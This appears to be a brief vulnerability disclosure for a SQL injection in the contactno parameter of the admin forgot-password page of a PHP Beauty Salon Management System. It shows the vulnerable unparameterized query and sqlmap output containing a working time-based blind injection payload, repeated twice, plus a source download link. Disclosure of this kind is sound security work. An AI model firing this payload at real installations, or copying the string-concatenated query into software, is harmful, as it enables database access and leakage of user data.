SQL injection vulnerability exists in contactno parameter of /admin/forgot-password.php file of Beauty Salon Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
8     $contactno=$_POST['contactno'];
9     $email=$_POST['email'];
10
11        $query=mysqli_query($con,"select ID from tbladmin where  Email='$email' and MobileNumber='$contactno' ");
12    $ret=mysqli_fetch_array($query);
```

```
sqlmap identified the following injection point(s) with a total of 209 HTTP(s) requests:
---
Parameter: contactno (POST)
    Type: time-based blind
    Title: MySQL ⩾ 5.0.12 AND time-based blind (query SLEEP)
    Payload: contactno=1' AND (SELECT 1625 FROM (SELECT(SLEEP(5)))NQxa) AND 'dTxf'='dTxf&email=-1&submit=Reset
---
```

“

Parameter: contactno (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: contactno=1' AND (SELECT 1625 FROM (SELECT(SLEEP(5)))NQxa) AND 'dTxf'='dTxf&email=-1&submit=Reset

---

“

Source Download：

https://www.campcodes.com/projects/beauty-salon-management-system-in-php-and-mysqli/